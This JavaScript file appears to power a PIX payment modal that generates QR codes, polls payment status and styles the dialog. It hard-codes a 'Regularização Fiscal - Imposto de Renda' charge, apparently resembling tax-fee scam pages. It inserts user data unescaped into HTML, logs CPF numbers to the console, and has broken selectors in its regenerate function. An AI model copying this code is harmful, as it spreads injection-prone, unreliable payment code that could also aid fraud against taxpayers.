// PIX Integration JavaScript
// Integração com SplitEasy API para geração de PIX

class PixIntegration {
    constructor() {
        this.apiUrl = 'gerar-pix.php';
        this.currentTransaction = null;
        this.statusCheckInterval = null;
    }

    // Generate PIX payment
    async gerarPix(dadosPagamento) {
        try {
            console.log('=== GERANDO PIX ===');
            console.log('Dados do pagamento:', dadosPagamento);

            const response = await fetch(this.apiUrl, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    action: 'gerar_pix',
                    ...dadosPagamento
                })
            });

            const data = await response.json();
            console.log('Resposta da API PIX:', data);

            if (data.success) {
                this.currentTransaction = data;
                return data;
            } else {
                throw new Error(data.error || 'Erro ao gerar PIX');
            }

        } catch (error) {
            console.error('Erro na geração do PIX:', error);
            throw error;
        }
    }

    // Check payment status
    async verificarStatusPagamento(transactionId) {
        try {
            const response = await fetch(this.apiUrl, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    action: 'verificar_status',
                    transaction_id: transactionId
                })
            });

            const data = await response.json();
            return data;

        } catch (error) {
            console.error('Erro ao verificar status:', error);
            return { success: false, error: error.message };
        }
    }

    // Start monitoring payment status
    iniciarMonitoramentoPagamento(transactionId, callback) {
        if (this.statusCheckInterval) {
            clearInterval(this.statusCheckInterval);
        }

        this.statusCheckInterval = setInterval(async () => {
            const status = await this.verificarStatusPagamento(transactionId);
            
            if (status.success && status.status === 'paid') {
                clearInterval(this.statusCheckInterval);
                callback('paid', status);
            } else if (status.success && status.status === 'expired') {
                clearInterval(this.statusCheckInterval);
                callback('expired', status);
            }
        }, 5000); // Check every 5 seconds
    }

    // Stop monitoring
    pararMonitoramento() {
        if (this.statusCheckInterval) {
            clearInterval(this.statusCheckInterval);
            this.statusCheckInterval = null;
        }
    }

    // Generate QR Code image
    gerarQRCodeImage(pixCode, containerId) {
        const container = document.getElementById(containerId);
        if (!container) return;

        // Clear previous content
        container.innerHTML = '';

        // Create QR Code using qrious library
        const canvas = document.createElement('canvas');
        const qr = new QRious({
            element: canvas,
            value: pixCode,
            size: 200,
            background: 'white',
            foreground: 'black'
        });

        container.appendChild(canvas);
    }

    // Copy PIX code to clipboard
    async copiarCodigoPix(pixCode) {
        try {
            await navigator.clipboard.writeText(pixCode);
            return true;
        } catch (error) {
            // Fallback for older browsers
            const textArea = document.createElement('textarea');
            textArea.value = pixCode;
            document.body.appendChild(textArea);
            textArea.select();
            document.execCommand('copy');
            document.body.removeChild(textArea);
            return true;
        }
    }

    // Format currency
    formatarMoeda(valor) {
        return new Intl.NumberFormat('pt-BR', {
            style: 'currency',
            currency: 'BRL'
        }).format(valor);
    }

    // Format expiration time
    formatarTempoExpiracao(expiresAt) {
        const now = new Date();
        const expires = new Date(expiresAt);
        const diff = expires - now;

        if (diff <= 0) return 'Expirado';

        const minutes = Math.floor(diff / 60000);
        const seconds = Math.floor((diff % 60000) / 1000);

        return `${minutes}:${seconds.toString().padStart(2, '0')}`;
    }
}

// Global instance
window.pixIntegration = new PixIntegration();

// PIX Payment Modal Functions
function mostrarModalPix(dadosPagamento) {
    // Create modal HTML
    const modalHTML = `
        <div id="pixModal" class="pix-modal-overlay">
            <div class="pix-modal-content">
                <div class="pix-modal-header">
                    <h3>💳 Pagamento via PIX</h3>
                    <button onclick="fecharModalPix()" class="pix-close-btn">&times;</button>
                </div>
                
                <div class="pix-modal-body">
                    <div class="pix-info">
                        <p><strong>Valor:</strong> <span id="pixValor">${window.pixIntegration.formatarMoeda(dadosPagamento.valor)}</span></p>
                        <p><strong>Descrição:</strong> ${dadosPagamento.descricao}</p>
                        <p><strong>CPF:</strong> ${dadosPagamento.cpf}</p>
                    </div>
                    
                    <div class="pix-loading" id="pixLoading">
                        <div class="spinner"></div>
                        <p>Gerando código PIX...</p>
                    </div>
                    
                    <div class="pix-content" id="pixContent" style="display: none;">
                        <div class="pix-qr-container">
                            <h4>Escaneie o QR Code:</h4>
                            <div id="pixQRCode"></div>
                        </div>
                        
                        <div class="pix-code-container">
                            <h4>Ou copie o código PIX:</h4>
                            <div class="pix-code-input">
                                <input type="text" id="pixCodeInput" readonly>
                                <button onclick="copiarCodigoPix()" class="pix-copy-btn">Copiar</button>
                            </div>
                        </div>
                        
                        <div class="pix-timer">
                            <p>⏰ Tempo restante: <span id="pixTimer">10:00</span></p>
                        </div>
                        
                        <div class="pix-instructions">
                            <h4>Como pagar:</h4>
                            <ol>
                                <li>Abra o app do seu banco</li>
                                <li>Escolha a opção PIX</li>
                                <li>Escaneie o QR Code ou cole o código</li>
                                <li>Confirme o pagamento</li>
                            </ol>
                        </div>
                    </div>
                    
                    <div class="pix-status" id="pixStatus" style="display: none;">
                        <div class="status-success" id="statusSuccess" style="display: none;">
                            <h4>✅ Pagamento Confirmado!</h4>
                            <p>Seu pagamento foi processado com sucesso.</p>
                        </div>
                        
                        <div class="status-expired" id="statusExpired" style="display: none;">
                            <h4>⏰ PIX Expirado</h4>
                            <p>O tempo para pagamento expirou. Gere um novo PIX.</p>
                            <button onclick="gerarNovoPix()" class="pix-new-btn">Gerar Novo PIX</button>
                        </div>
                    </div>
                </div>
                
                <div class="pix-modal-footer">
                    <button onclick="fecharModalPix()" class="pix-cancel-btn">Cancelar</button>
                </div>
            </div>
        </div>
    `;

    // Add modal to page
    document.body.insertAdjacentHTML('beforeend', modalHTML);

    // Generate PIX
    gerarPixPagamento(dadosPagamento);
}

function fecharModalPix() {
    const modal = document.getElementById('pixModal');
    if (modal) {
        window.pixIntegration.pararMonitoramento();
        modal.remove();
    }
}

async function gerarPixPagamento(dadosPagamento) {
    try {
        const pixData = await window.pixIntegration.gerarPix(dadosPagamento);
        
        // Hide loading, show content
        document.getElementById('pixLoading').style.display = 'none';
        document.getElementById('pixContent').style.display = 'block';
        
        // Set PIX code
        document.getElementById('pixCodeInput').value = pixData.pix_code;
        
        // Generate QR Code
        window.pixIntegration.gerarQRCodeImage(pixData.pix_code, 'pixQRCode');
        
        // Start timer
        iniciarTimerPix(pixData.expires_at);
        
        // Start monitoring
        window.pixIntegration.iniciarMonitoramentoPagamento(pixData.transaction_id, (status, data) => {
            if (status === 'paid') {
                mostrarStatusPagamento('success');
            } else if (status === 'expired') {
                mostrarStatusPagamento('expired');
            }
        });
        
    } catch (error) {
        console.error('Erro ao gerar PIX:', error);
        alert('Erro ao gerar PIX: ' + error.message);
    }
}

function iniciarTimerPix(expiresAt) {
    const timerElement = document.getElementById('pixTimer');
    
    const updateTimer = () => {
        const timeLeft = window.pixIntegration.formatarTempoExpiracao(expiresAt);
        timerElement.textContent = timeLeft;
        
        if (timeLeft === 'Expirado') {
            mostrarStatusPagamento('expired');
        } else {
            setTimeout(updateTimer, 1000);
        }
    };
    
    updateTimer();
}

function mostrarStatusPagamento(status) {
    document.getElementById('pixContent').style.display = 'none';
    document.getElementById('pixStatus').style.display = 'block';
    
    if (status === 'success') {
        document.getElementById('statusSuccess').style.display = 'block';
    } else if (status === 'expired') {
        document.getElementById('statusExpired').style.display = 'block';
    }
}

async function copiarCodigoPix() {
    const pixCode = document.getElementById('pixCodeInput').value;
    const success = await window.pixIntegration.copiarCodigoPix(pixCode);
    
    if (success) {
        const btn = document.querySelector('.pix-copy-btn');
        const originalText = btn.textContent;
        btn.textContent = 'Copiado!';
        btn.style.background = '#28a745';
        
        setTimeout(() => {
            btn.textContent = originalText;
            btn.style.background = '';
        }, 2000);
    }
}

function gerarNovoPix() {
    // Hide status, show loading
    document.getElementById('pixStatus').style.display = 'none';
    document.getElementById('pixLoading').style.display = 'block';
    
    // Get original payment data and regenerate
    const dadosPagamento = {
        nome: document.querySelector('#pixModal .pix-info p:nth-child(3)').textContent.split(': ')[1],
        cpf: document.querySelector('#pixModal .pix-info p:nth-child(4)').textContent.split(': ')[1],
        valor: parseFloat(document.getElementById('pixValor').textContent.replace('R$ ', '').replace(',', '.')),
        descricao: 'Regularização Fiscal - Imposto de Renda'
    };
    
    gerarPixPagamento(dadosPagamento);
}

// CSS Styles for PIX Modal
const pixModalStyles = `
<style>
.pix-modal-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.8);
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 10000;
}

.pix-modal-content {
    background: white;
    border-radius: 12px;
    max-width: 500px;
    width: 90%;
    max-height: 90vh;
    overflow-y: auto;
    box-shadow: 0 20px 40px rgba(0, 0, 0, 0.3);
}

.pix-modal-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 20px;
    border-bottom: 1px solid #eee;
}

.pix-modal-header h3 {
    margin: 0;
    color: #333;
}

.pix-close-btn {
    background: none;
    border: none;
    font-size: 24px;
    cursor: pointer;
    color: #666;
}

.pix-modal-body {
    padding: 20px;
}

.pix-info {
    background: #f8f9fa;
    padding: 15px;
    border-radius: 8px;
    margin-bottom: 20px;
}

.pix-info p {
    margin: 5px 0;
    color: #333;
}

.pix-loading {
    text-align: center;
    padding: 40px;
}

.spinner {
    border: 4px solid #f3f3f3;
    border-top: 4px solid #007bff;
    border-radius: 50%;
    width: 40px;
    height: 40px;
    animation: spin 1s linear infinite;
    margin: 0 auto 20px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.pix-qr-container {
    text-align: center;
    margin-bottom: 20px;
}

.pix-qr-container h4 {
    margin-bottom: 15px;
    color: #333;
}

.pix-code-container {
    margin-bottom: 20px;
}

.pix-code-container h4 {
    margin-bottom: 10px;
    color: #333;
}

.pix-code-input {
    display: flex;
    gap: 10px;
}

.pix-code-input input {
    flex: 1;
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 4px;
    font-family: monospace;
    font-size: 12px;
}

.pix-copy-btn {
    background: #007bff;
    color: white;
    border: none;
    padding: 10px 15px;
    border-radius: 4px;
    cursor: pointer;
    white-space: nowrap;
}

.pix-timer {
    text-align: center;
    margin-bottom: 20px;
    padding: 10px;
    background: #fff3cd;
    border-radius: 4px;
    color: #856404;
}

.pix-instructions {
    background: #e7f3ff;
    padding: 15px;
    border-radius: 8px;
    margin-bottom: 20px;
}

.pix-instructions h4 {
    margin-top: 0;
    color: #004085;
}

.pix-instructions ol {
    margin: 10px 0;
    padding-left: 20px;
}

.pix-instructions li {
    margin: 5px 0;
    color: #004085;
}

.pix-status {
    text-align: center;
    padding: 20px;
}

.status-success {
    color: #28a745;
}

.status-expired {
    color: #dc3545;
}

.pix-new-btn {
    background: #007bff;
    color: white;
    border: none;
    padding: 10px 20px;
    border-radius: 4px;
    cursor: pointer;
    margin-top: 10px;
}

.pix-modal-footer {
    padding: 20px;
    border-top: 1px solid #eee;
    text-align: right;
}

.pix-cancel-btn {
    background: #6c757d;
    color: white;
    border: none;
    padding: 10px 20px;
    border-radius: 4px;
    cursor: pointer;
}
</style>
`;

// Add styles to page
document.head.insertAdjacentHTML('beforeend', pixModalStyles);
